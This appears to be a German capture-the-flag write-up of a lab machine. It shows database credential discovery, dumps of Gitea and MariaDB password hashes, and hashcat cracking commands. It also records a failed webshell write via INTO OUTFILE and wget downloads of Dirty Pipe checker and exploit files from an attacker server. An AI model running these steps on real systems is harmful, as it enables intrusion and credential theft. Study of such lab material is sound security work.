PID=1 | /sbin/init 2022/10/20 06:19:01 CMD: UID=0 PID=828 | /usr/sbin/CRON -f 2022/10/20 06:19:01 CMD: UID=0 PID=829 | /usr/sbin/CRON -f 2022/10/20 06:20:01 CMD: UID=0 PID=830 | /usr/sbin/CRON -f 2022/10/20 06:20:01 CMD: UID=0 PID=831 | /usr/sbin/CRON -f 2022/10/20 06:21:01 CMD: UID=0 PID=832 | /usr/sbin/CRON -f 2022/10/20 06:21:01 CMD: UID=0 PID=833 | /usr/sbin/CRON -f 2022/10/20 06:22:01 CMD: UID=0 PID=838 | /usr/sbin/CRON -f 2022/10/20 06:22:01 CMD: UID=0 PID=840 | /usr/sbin/CRON -f 2022/10/20 06:22:15 CMD: UID=0 PID=841 | 2022/10/20 06:23:01 CMD: UID=0 PID=842 | /usr/sbin/CRON -f 2022/10/20 06:23:01 CMD: UID=0 PID=843 | /usr/sbin/CRON -f 2022/10/20 06:23:32 CMD: UID=0 PID=844 | 2022/10/20 06:23:57 CMD: UID=0 PID=845 | sshd: [accepted] 2022/10/20 06:23:57 CMD: UID=0 PID=846 | sshd: [accepted]
Analyse: Nachdem `pspy` auf einen häufig laufenden Root-Cronjob hingewiesen hat, wird die Datei `/var/www/cookie/config/db.php` untersucht. Dies ist eine typische Datei, die Datenbank-Zugangsdaten enthält und wurde wahrscheinlich durch die vorherige `gobuster`-Enumeration des `/config`-Verzeichnisses oder durch manuelle Untersuchung des Web-Roots gefunden.
Bewertung: Die Datei enthält auskommentierte Zugangsdaten (`root`/`root`) und aktive Zugangsdaten für eine MySQL/MariaDB-Datenbank:
Empfehlung (Pentester):
<?php #define('DB_Server', 'localhost'); #define('DB_Username', 'root'); #define('DB_Password','root'); #define('DB_Name', 'overflow'); $lnk = mysqli_connect("localhost","padding", "ihateyouadmin","padding"); $db = mysqli_select_db($lnk,"padding"); if($db == false){ die('Cannot Connect to Database'); } ?>
Analyse: Es werden mehrere Versuche unternommen, sich an der lokalen MariaDB-Instanz anzumelden, basierend auf den Funden in `db.php` und allgemeinen Vermutungen.
Bewertung:
Empfehlung (Pentester):
Enter password:
ERROR 1045 (28000): Access denied for user 'localhost'@'localhost' (using password: YES)
Enter password:
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
Enter password:
ERROR 1698 (28000): Access denied for user 'git'@'localhost'
Enter password: (Passwort 'root' eingegeben) Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 112 Server version: 10.5.15-MariaDB-1:10.5.15+maria~bullseye mariadb.org binary distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
Analyse: Mit Root-Zugriff auf die Datenbank werden die verfügbaren Datenbanken aufgelistet.
Bewertung: Es werden mehrere Datenbanken angezeigt: `gitea`, `information_schema`, `mysql`, `opencats`, `padding`, `performance_schema`. Neben den Standard-Datenbanken (`information_schema`, `mysql`, `performance_schema`) sind `gitea`, `opencats` und `padding` anwendungsspezifisch und potenzielle Quellen für weitere Informationen.
Empfehlung (Pentester): Untersuchen Sie die Tabellen und Inhalte der Datenbanken `gitea`, `opencats` und `padding`. Beginnen Sie mit `padding`, da die Zugangsdaten dafür zuerst gefunden wurden, und dann `gitea`, da Gitea oft interessante Daten enthält (Repositories, Benutzer, API-Schlüssel).
Empfehlung (Admin): Stellen Sie sicher, dass die Anwendungsdatenbanken (`gitea`, `opencats`, `padding`) nur von den dafür vorgesehenen, berechtigten Benutzern zugänglich sind und nicht vom Datenbank-Root-Benutzer manipuliert werden müssen.
+--------------------+ | Database | +--------------------+ | gitea | | information_schema | | mysql | | opencats | | padding | | performance_schema | +--------------------+ 6 rows in set (0.026 sec)
Analyse: Die `gitea`-Datenbank wird ausgewählt (`use gitea;` - nicht im Text gezeigt, aber impliziert) und der Inhalt der `user`-Tabelle abgefragt.
Bewertung: Die Tabelle enthält Informationen über den Gitea-Benutzer `gitea`. Besonders interessant ist der Passwort-Hash `b8b7...d42a` und der Hashing-Algorithmus `pbkdf2`. PBKDF2 ist ein stärkerer Algorithmus als MD5, aber immer noch potenziell knackbar, wenn das Passwort schwach ist. Es gibt auch eine E-Mail-Adresse (`test@test.com`) und einen Salt (`ef37...008f`). Der Benutzer ist als Admin (`is_admin = 1`) markiert.
Empfehlung (Pentester): Versuchen Sie, den PBKDF2-Hash offline zu knacken (z.B. mit Hashcat, Modus muss ermittelt werden, oft 10900 für `PBKDF2-HMAC-SHA256`). Wenn erfolgreich, könnten Sie sich als Gitea-Admin anmelden. Überprüfen Sie auch andere Tabellen in der `gitea`-Datenbank (z.B. `repository`, `access_token`) auf sensible Informationen.
Empfehlung (Admin): Obwohl PBKDF2 besser als MD5 ist, sollten sicherere Algorithmen wie Argon2 oder bcrypt bevorzugt werden. Stellen Sie sicher, dass Gitea aktuell gehalten wird und erzwingen Sie starke Passwörter für Gitea-Benutzer, insbesondere Admins.
+----+------------+-------+-----------+---------------+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------+------------+--------------+------------+------+----------+---------+----------------------------------+----------------------------------+----------+-------------+--------------+--------------+-----------------+----------------------+-------------------+-----------+----------+---------------+----------------+--------------------+---------------------------+----------------+----------------------------------+-----------------+-------------------+---------------+---------------+-----------+-----------+-----------+-------------+------------+-------------------------------+-----------------+-------+-----------------------+ | id | lower_name | name | full_name | email | keep_email_private | email_notifications_preference | passwd | passwd_hash_algo | must_change_password | login_type | login_source | login_name | type | location | website | rands | salt | language | description | created_unix | updated_unix | last_login_unix | last_repo_visibility | max_repo_creation | is_active | is_admin | is_restricted | allow_git_hook | allow_import_local | allow_create_organization | prohibit_login | avatar | avatar_email | use_custom_avatar | num_followers | num_following | num_stars | num_repos | num_teams | num_members | visibility | repo_admin_change_team_access | diff_view_style | theme | keep_activity_private | +----+------------+-------+-----------+---------------+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------+------------+--------------+------------+------+----------+---------+----------------------------------+----------------------------------+----------+-------------+--------------+--------------+-----------------+----------------------+-------------------+-----------+----------+---------------+----------------+--------------------+---------------------------+----------------+----------------------------------+-----------------+-------------------+---------------+---------------+-----------+-----------+-----------+-------------+------------+-------------------------------+-----------------+-------+-----------------------+ | 1 | gitea | gitea | | test@test.com | 0 | enabled | b8b7374376cd13dfe1fc292ac89daef30301e1ac97346110ee7fadc45020b3de6019f3830eed56020c403fd1c9fcc965d42a | pbkdf2 | 0 | 0 | 0 | | 0 | | | ef37455f6ca32c235a169248936f008f | :wq| en-US | | 1648195414 | 1648549832 | 1648549832 | 0 | -1 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 8e4e2991d9ce569d594e04c6d30c0797 | gitea@kitty.hmv | 1 | 0 | 0 | 0 | 2 | 0 | 0 | 0 | 0 | unified | auto | 0 | +----+------------+-------+-----------+---------------+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------+------------+--------------+------------+------+----------+---------+----------------------------------+----------------------------------+----------+-------------+--------------+--------------+-----------------+----------------------+-------------------+-----------+----------+---------------+----------------+--------------------+---------------------------+----------------+----------------------------------+-----------------+-------------------+---------------+---------------+-----------+-----------+-----------+-------------+------------+-------------------------------+-----------------+-------+-----------------------+ 1 row in set (0.000 sec)
Analyse: Der Inhalt der `action`-Tabelle in der `gitea`-Datenbank wird abgefragt. Diese Tabelle protokolliert normalerweise Benutzeraktionen wie Commits, Kommentare, Issue-Erstellungen etc.
Bewertung: Die Tabelle enthält eine Reihe von Aktionen, hauptsächlich Commits und Kommentare (`op_type` 5 und 10) für Repository `repo_id = 2` und `repo_id = 3`. Einige Kommentare im `content`-Feld sind sehr aufschlussreich:
Empfehlung (Pentester): Diese Informationen bestätigen die bisherigen Erkenntnisse. Es gibt hier keine direkten neuen Angriffspunkte, aber es festigt das Verständnis der Maschine. Fahren Sie mit der Untersuchung anderer Datenbanken und Tabellen fort.
Empfehlung (Admin): Überprüfen Sie die Gitea-Konfiguration und -Nutzung. Stellen Sie sicher, dass sensible Diskussionen oder Informationen nicht in öffentlichen oder leicht zugänglichen Repositories oder Kommentaren landen. Schulen Sie Benutzer im sicheren Umgang mit Zugangsdaten und Schlüsseln.
+----+---------+---------+-------------+---------+------------+------------+-------------------+------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------+ | id | user_id | op_type | act_user_id | repo_id | comment_id | is_deleted | ref_name | is_private | content | created_unix | +----+---------+---------+-------------+---------+------------+------------+-------------------+------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------+ | 2 | 1 | 1 | 1 | 2 | 0 | 0 | | 0 | | 1648485841 | | 3 | 1 | 5 | 1 | 2 | 0 | 0 | refs/heads/master | 0 | | 1648486503 | | 4 | 1 | 5 | 1 | 2 | 0 | 0 | refs/heads/master | 0 | {"Commits":[{"Sha1":"5f710184be35647b6aa5016fd6c3af683c3f00b2","Message":"first commit\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T12:54:31-04:00"}],"HeadCommit":{"Sha1":"5f710184be35647b6aa5016fd6c3af683c3f00b2","Message":"first commit\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T12:54:31-04:00"},"CompareURL":"","Len":1} | 1648486503 | | 5 | 1 | 6 | 1 | 2 | 0 | 0 | | 0 | 1|why this id_rsa key is not working ? | 1648486615 | | 6 | 1 | 12 | 1 | 2 | 1 | 0 | | 0 | 1| | 1648486655 | | 7 | 1 | 5 | 1 | 2 | 0 | 0 | refs/heads/master | 0 | {"Commits":[{"Sha1":"65cf6d2f0187d7c3cea53375e25452694f44e062","Message":"it will not work\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:00:55-04:00"}],"HeadCommit":{"Sha1":"65cf6d2f0187d7c3cea53375e25452694f44e062","Message":"it will not work\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:00:55-04:00"},"CompareURL":"gitea/test/compare/5f710184be35647b6aa5016fd6c3af683c3f00b2...65cf6d2f0187d7c3cea53375e25452694f44e062","Len":1} | 1648486857 | | 8 | 1 | 5 | 1 | 2 | 0 | 0 | refs/heads/master | 0 | {"Commits":[{"Sha1":"4b3bd5280e4138507f2e4fbb958702e4c3e467de","Message":"Update 'tests/test_simple.py'\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:01:19-04:00"}],"HeadCommit":{"Sha1":"4b3bd5280e4138507f2e4fbb958702e4c3e467de","Message":"Update 'tests/test_simple.py'\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:01:19-04:00"},"CompareURL":"gitea/test/compare/65cf6d2f0187d7c3cea53375e25452694f44e062...4b3bd5280e4138507f2e4fbb958702e4c3e467de","Len":1} | 1648486880 | | 9 | 1 | 10 | 1 | 2 | 2 | 0 | | 0 | 1|from where did you find that id_rsa key ? | 1648486935 | | 10 | 1 | 10 | 1 | 2 | 3 | 0 | | 0 | 1|from [Link: here | Ziel: http://whythisapiissofast.kitty.hmv] | 1648487025 | | 11 | 1 | 5 | 1 | 2 | 0 | 0 | refs/heads/master | 0 | {"Commits":[{"Sha1":"c4b38f1231b75bf6df5f5df54daef4db6f2e6b8c","Message":"it's a secret\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:06:14-04:00"}],"HeadCommit":{"Sha1":"c4b38f1231b75bf6df5f5df54daef4db6f2e6b8c","Message":"it's a secret\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:06:14-04:00"},"CompareURL":"gitea/test/compare/4b3bd5280e4138507f2e4fbb958702e4c3e467de...c4b38f1231b75bf6df5f5df54daef4db6f2e6b8c","Len":1} | 1648487175 | | 12 | 1 | 5 | 1 | 2 | 0 | 0 | refs/heads/master | 0 | {"Commits":[{"Sha1":"d1f320ec7611b37fa63e3612c0771df43be8da87","Message":"it's still secret\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:06:38-04:00"}],"HeadCommit":{"Sha1":"d1f320ec7611b37fa63e3612c0771df43be8da87","Message":"it's still secret\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:06:38-04:00"},"CompareURL":"gitea/test/compare/c4b38f1231b75bf6df5f5df54daef4db6f2e6b8c...d1f320ec7611b37fa63e3612c0771df43be8da87","Len":1} | 1648487199 | | 13 | 1 | 10 | 1 | 2 | 4 | 0 | | 0 | 1|thanks for this.. i will check why it's not working | 1648487298 | | 14 | 1 | 10 | 1 | 2 | 5 | 0 | | 0 | 1|hey user did you try these username 1. jack 2. robin 3. kevin 4. devil 5. mona | 1648487368 | | 15 | 1 | 10 | 1 | 2 | 6 | 0 | | 0 | 1|no i didn't check that id_rsa key with these names | 1648487398 | | 16 | 1 | 10 | 1 | 2 | 7 | 0 | | 0 | 1|wait i check | 1648487410 | | 17 | 1 | 10 | 1 | 2 | 8 | 0 | | 0 | 1|hey still that id_rsa key is not working | 1648487436 | | 18 | 1 | 10 | 1 | 2 | 9 | 0 | | 0 | 1|leave that id_rsa and try another thing then | 1648487466 | | 19 | 1 | 10 | 1 | 2 | 10 | 0 | | 0 | 1|ok i check that another api endpoint | 1648487493 | | 20 | 1 | 1 | 1 | 3 | 0 | 0 | | 0 | | 1648487577 | | 21 | 1 | 5 | 1 | 3 | 0 | 0 | refs/heads/master | 0 | | 1648487812 | | 22 | 1 | 5 | 1 | 3 | 0 | 0 | refs/heads/master | 0 | {"Commits":[{"Sha1":"72caf452abfcb394dea58a25ee6a4bd71054f69c","Message":"first commit\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:16:30-04:00"}],"HeadCommit":{"Sha1":"72caf452abfcb394dea58a25ee6a4bd71054f69c","Message":"first commit\n","AuthorEmail":"test@test.com","AuthorName":"gitea","CommitterEmail":"test@test.com","CommitterName":"gitea","Timestamp":"2022-03-28T13:16:30-04:00"},"CompareURL":"","Len":1} | 1648487812 | +----+---------+---------+-------------+---------+------------+------------+-------------------+------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------+ 21 rows in set (0.000 sec)
Analyse: Die `mysql`-Datenbank wird ausgewählt (impliziert) und die `user`-Tabelle abgefragt. Diese Tabelle enthält Informationen über die MariaDB-Benutzerkonten selbst.
Bewertung: Die Ausgabe zeigt die Standardbenutzer (`mariadb.sys`, `root`, `mysql`) sowie die Anwendungsbenutzer (`gitea`, `opencats`, `padding`). Wichtig sind die Passwort-Hashes in der `Password` oder `authentication_string` Spalte:
Empfehlung (Pentester): Die Hashes könnten offline geknackt werden (Hashcat Modus 300: `mysql-sha1`), obwohl die Passwörter bereits bekannt sind. Notieren Sie die Benutzerliste. Konzentrieren Sie sich auf die Untersuchung der `padding`-Datenbank, da hierfür bereits Zugangsdaten bekannt sind.
Empfehlung (Admin): Aktualisieren Sie die Passwort-Hashes auf das native Format von MariaDB (`mysql_native_password`) oder sicherere Methoden. Überprüfen Sie die Notwendigkeit aller Benutzerkonten. Ändern Sie alle Standard- oder schwachen Passwörter.
+-----------+-------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+---------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+---------+--------------+--------------------+ | Host | User | Password | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | Delete_history_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin | authentication_string | password_expired | is_role | default_role | max_statement_time | +-----------+-------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+---------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+---------+--------------+--------------------+ | localhost | mariadb.sys | | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | | | | 0 | 0 | 0 | 0 | mysql_native_password | | Y | N | | 0.000000 | | localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | | | | 0 | 0 | 0 | 0 | mysql_native_password | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | N | N | | 0.000000 | | localhost | mysql | invalid | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | | | | 0 | 0 | 0 | 0 | mysql_native_password | invalid | N | N | | 0.000000 | | localhost | gitea | *00A51F3F48415C7D4E8908980D443C29C69B60C9 | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | | | | 0 | 0 | 0 | 0 | mysql_native_password | *00A51F3F48415C7D4E8908980D443C29C69B60C9 | N | N | | 0.000000 | | localhost | opencats | *64E2AC2D59D8460E07BCC704FCF131716DA0F295 | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | | | | 0 | 0 | 0 | 0 | mysql_native_password | *64E2AC2D59D8460E07BCC704FCF131716DA0F295 | N | N | | 0.000000 | | localhost | padding | *25872B40E94F3C3F940F4E6B8CA08411EFDAD817 | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | | | | 0 | 0 | 0 | 0 | mysql_native_password | *25872B40E94F3C3F940F4E6B8CA08411EFDAD817 | N | N | | 0.000000 | +-----------+-------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+---------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-----------------------+-------------------------------------------+------------------+---------+--------------+--------------------+ 6 rows in set (0.001 sec)
Analyse: Es wird versucht, sich mit dem Benutzer `padding` und dem Passwort `ihateyouadmin` anzumelden. Dies ist erfolgreich. Anschließend werden die Datenbanken aufgelistet, zur `padding`-Datenbank gewechselt und deren Tabellen angezeigt.
Bewertung: Der Login als `padding` funktioniert wie erwartet. Dieser Benutzer hat nur Zugriff auf `information_schema` und die `padding`-Datenbank. In der `padding`-Datenbank gibt es drei Tabellen: `logs`, `salt` und `users`. Diese sind nun das Ziel der weiteren Untersuchung.
Empfehlung (Pentester): Fragen Sie den Inhalt der Tabellen `users`, `salt` und `logs` ab, um die darin enthaltenen Daten zu analysieren.
Empfehlung (Admin): Die Berechtigungen für den Benutzer `padding` scheinen korrekt auf die eigene Datenbank beschränkt zu sein. Stellen Sie sicher, dass dies für alle Anwendungsbenutzer gilt.
Enter password: (Passwort 'ihateyouadmin' eingegeben) Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 137 Server version: 10.5.15-MariaDB-1:10.5.15+maria~bullseye mariadb.org binary distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | padding | +--------------------+ 2 rows in set (0.000 sec) MariaDB [(none)]> use padding; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [padding]> show tables; +-------------------+ | Tables_in_padding | +-------------------+ | logs | | salt | | users | +-------------------+ 3 rows in set (0.000 sec) MariaDB [padding]>
Analyse: Der Inhalt der `users`-Tabelle in der `padding`-Datenbank wird abgefragt.
Bewertung: Die Tabelle enthält zwei Benutzer: `admin` und `gitea`. Die zugehörigen Passwörter sind als Hashes gespeichert:
Empfehlung (Pentester):
+----------+----------------------------------+ | username | password | +----------+----------------------------------+ | admin | 44db80f98c693eac47540c51137eeeac | | gitea | 357f47546ba3ab1cf633d3d0c54e2583 | +----------+----------------------------------+ 2 rows in set (0.000 sec)
Analyse: Der Inhalt der `logs`-Tabelle wird abgefragt.
Bewertung: Die Tabelle scheint Login- und Logout-Ereignisse für die Benutzer `admin` und `jack` zu protokollieren. Sie liefert keine direkten neuen Angriffspunkte, bestätigt aber die Existenz des Benutzers `jack`, der auch in den Gitea-Logs erwähnt wurde.
Empfehlung (Pentester): Nehmen Sie die Information zur Kenntnis. Konzentrieren Sie sich auf das Knacken der Hashes aus der `users`-Tabelle und die Untersuchung der `salt`-Tabelle.
Empfehlung (Admin): Logging ist wichtig, aber stellen Sie sicher, dass Logs keine übermäßig sensiblen Informationen enthalten und vor unbefugtem Zugriff oder Manipulation geschützt sind.
+----+----------+--------------+ | id | username | last | +----+----------+--------------+ | 1 | admin | login admin | | 2 | admin | logout admin | | 3 | jack | login jack | | 4 | jack | logout jack | | 5 | admin | login admin | | 6 | admin | logout admin | | 7 | admin | login admin | | 8 | admin | login admin | | 9 | admin | logout admin | +----+----------+--------------+ 9 rows in set (0.000 sec)
Analyse: Der Inhalt der `salt`-Tabelle wird abgefragt.
Bewertung: Die Tabelle enthält einen einzigen Eintrag vom Typ `salt` mit dem Wert `YXZpam5leWFt`. Dies ist derselbe Salt, der zuvor beim `hashcat`-Versuch verwendet wurde (`md5($pass.$salt)`). Dies bestätigt, dass der `gitea`-Hash aus der `users`-Tabelle (`357f...`) wahrscheinlich mit diesem Salt gehasht wurde.
Empfehlung (Pentester): Führen Sie den `hashcat`-Befehl erneut aus, diesmal mit dem korrekten Hash und Salt: `hashcat -m 10 -a 0 357f47546ba3ab1cf633d3d0c54e2583:YXZpam5leWFt /usr/share/wordlists/rockyou.txt`. Versuchen Sie auch, den `admin`-Hash (`44db...`) mit demselben Salt zu knacken: `hashcat -m 10 -a 0 44db80f98c693eac47540c51137eeeac:YXZpam5leWFt /usr/share/wordlists/rockyou.txt`.
Empfehlung (Admin): Die Verwendung eines globalen Salts ist besser als kein Salt, aber individuelle Salts pro Benutzer sind deutlich sicherer. Migrieren Sie zu einem Hashing-Schema mit individuellen Salts und einem modernen Algorithmus (Argon2, bcrypt).
+------+--------------+
| type | value |
+------+--------------+
| salt | YXZpam5leWFt |
+------+--------------+
1 row in set (0.000 sec)
Analyse: Es wird versucht, mittels `SELECT ... INTO OUTFILE` eine PHP-Webshell (``) in das Web-Root-Verzeichnis zu schreiben. `INTO OUTFILE` erlaubt das Schreiben von Abfrageergebnissen in eine Datei auf dem Server. Die Zieldateien sind `/var/www/html/ben.php` und `/var/www/cookie/ben.php`.
Bewertung: Beide Versuche schlagen fehl mit `ERROR 1045 (28000): Access denied for user 'padding'@'localhost'`. Dies liegt daran, dass der Datenbankbenutzer `padding` nicht über die `FILE`-Berechtigung verfügt, die für `SELECT ... INTO OUTFILE` erforderlich ist. Das ist eine wichtige Sicherheitsmaßnahme.
Empfehlung (Pentester): Da `INTO OUTFILE` nicht funktioniert, kann dieser Vektor zur Codeausführung nicht genutzt werden. Suchen Sie nach anderen Wegen (z.B. Ausnutzung von Webanwendungs-Schwachstellen, Cronjob-Manipulation).
Empfehlung (Admin): Vergeben Sie die `FILE`-Berechtigung nur an absolut vertrauenswürdige administrative Datenbankbenutzer und niemals an Benutzerkonten, die von Webanwendungen verwendet werden. Dies ist eine kritische Maßnahme zur Verhinderung von Webshell-Uploads über SQL-Injection.
ERROR 1045 (28000): Access denied for user 'padding'@'localhost' (using password: YES)
ERROR 1045 (28000): Access denied for user 'padding'@'localhost' (using password: YES)
Analyse: Die SSH-Konfigurationsdatei `/etc/ssh/sshd_config` wird mit `cat` gelesen und mit `grep` nach der Direktive `PermitRootLogin` durchsucht.
Bewertung: Die Ausgabe zeigt `PermitRootLogin yes`. Dies bedeutet, dass direkte SSH-Logins als Root-Benutzer grundsätzlich erlaubt sind, sofern das Passwort bekannt ist oder ein entsprechender SSH-Schlüssel hinterlegt ist. Dies stellt ein erhöhtes Sicherheitsrisiko dar.
Empfehlung (Pentester): Wenn das Root-Passwort bekannt wird oder erraten werden kann, wäre ein direkter SSH-Login als Root möglich. Dies ist jedoch oft schwierig. Konzentrieren Sie sich weiterhin auf andere Eskalationsmethoden.
Empfehlung (Admin): Ändern Sie `PermitRootLogin` in `/etc/ssh/sshd_config` auf `no` oder zumindest auf `prohibit-password` (erlaubt nur Schlüssel-basierten Root-Login). Es ist generell sicherer, sich zuerst als normaler Benutzer anzumelden und dann mittels `su` oder `sudo` zu Root zu wechseln.
PermitRootLogin yes
# the setting of "PermitRootLogin without-password".
Analyse: Mit `grep -ri "passw" .` wird rekursiv (`r`) und case-insensitiv (`i`) im aktuellen Verzeichnis (`.`) und allen Unterverzeichnissen nach Dateien gesucht, die die Zeichenkette "passw" enthalten. Dies ist ein Versuch, vergessene Passwörter oder Zugangsdaten in Skripten, Konfigurationsdateien oder Logs zu finden.
Bewertung: Der Befehl selbst ist sinnvoll, aber die Ausgabe wird im Bericht nicht gezeigt. Es ist unklar, ob relevante Funde gemacht wurden. Solche Suchen können oft zu vielen irrelevanten Ergebnissen führen (False Positives), aber manchmal auch wertvolle Hinweise liefern.
Empfehlung (Pentester): Führen Sie ähnliche Suchen in relevanten Verzeichnissen durch (z.B. `/etc`, `/var/www`, `/home`, `/opt`). Suchen Sie nach spezifischeren Begriffen wie `password`, `secret`, `apikey`, `zugang`. Analysieren Sie die Ergebnisse sorgfältig.
Empfehlung (Admin): Speichern Sie niemals Passwörter oder sensible Daten im Klartext in Dateien. Verwenden Sie sichere Speicherungsmechanismen (Vaults, Konfigurationsmanagement-Systeme mit Verschlüsselung). Überprüfen Sie regelmäßig Dateisysteme auf versehentlich gespeicherte Zugangsdaten.
[Ausgabe nicht im Bericht enthalten]
Analyse: Hier werden mehrere Schritte durchgeführt:
Bewertung: Das Skript `dirtychecker.sh` prüft offenbar auf die "Dirty Pipe"-Schwachstelle (CVE-2022-0847), eine Kernel-Schwachstelle zur Rechteausweitung. Die Ausgabe `Vulnerable` zeigt an, dass das Zielsystem für diese Schwachstelle anfällig ist. Dies ist ein vielversprechender Vektor für die Privilege Escalation. Der Python-Server-Log bestätigt den erfolgreichen Download.
Empfehlung (Pentester):
--2022-10-20 08:42:00-- http://192.168.2.153:8000/dirtychecker.sh Connecting to 192.168.2.153:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 814 [text/x-sh] Saving to: ‘dirtychecker.sh’ dirtychecker.sh 100%[<===================>] 814 --.-KB/s in 0s 2022-10-20 08:42:00 (9.85 MB/s) - ‘dirtychecker.sh’ saved [814/814] 5 10 0 Vulnerable
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.100 - - [20/Oct/2022 14:42:01] "GET /dirtychecker.sh HTTP/1.1" 200 -
Analyse: Nachdem die Anfälligkeit für Dirty Pipe bestätigt wurde, werden zwei Exploit-Dateien (`exploit-1`, `exploit-2`) vom Angreifer-Server heruntergeladen und ausführbar gemacht. Es handelt sich wahrscheinlich um vorkompilierte Exploits für CVE-2022-0847.
Bewertung: Das Herunterladen der Exploits ist der nächste logische Schritt nach der Identifizierung der Schwachstelle. Das Vorhandensein von zwei Versionen könnte darauf hindeuten, dass unterschiedliche Varianten oder Techniken ausprobiert werden sollen. Das Ziel ist es, einen dieser Exploits auszuführen, um Root-Rechte zu erlangen.
Empfehlung (Pentester): Führen Sie einen der heruntergeladenen Exploits aus (z.B. `./exploit-1`). Wenn dieser nicht funktioniert, versuchen Sie den anderen (`./exploit-2`). Überprüfen Sie nach der Ausführung mit `id`, ob Sie Root-Rechte erhalten haben.
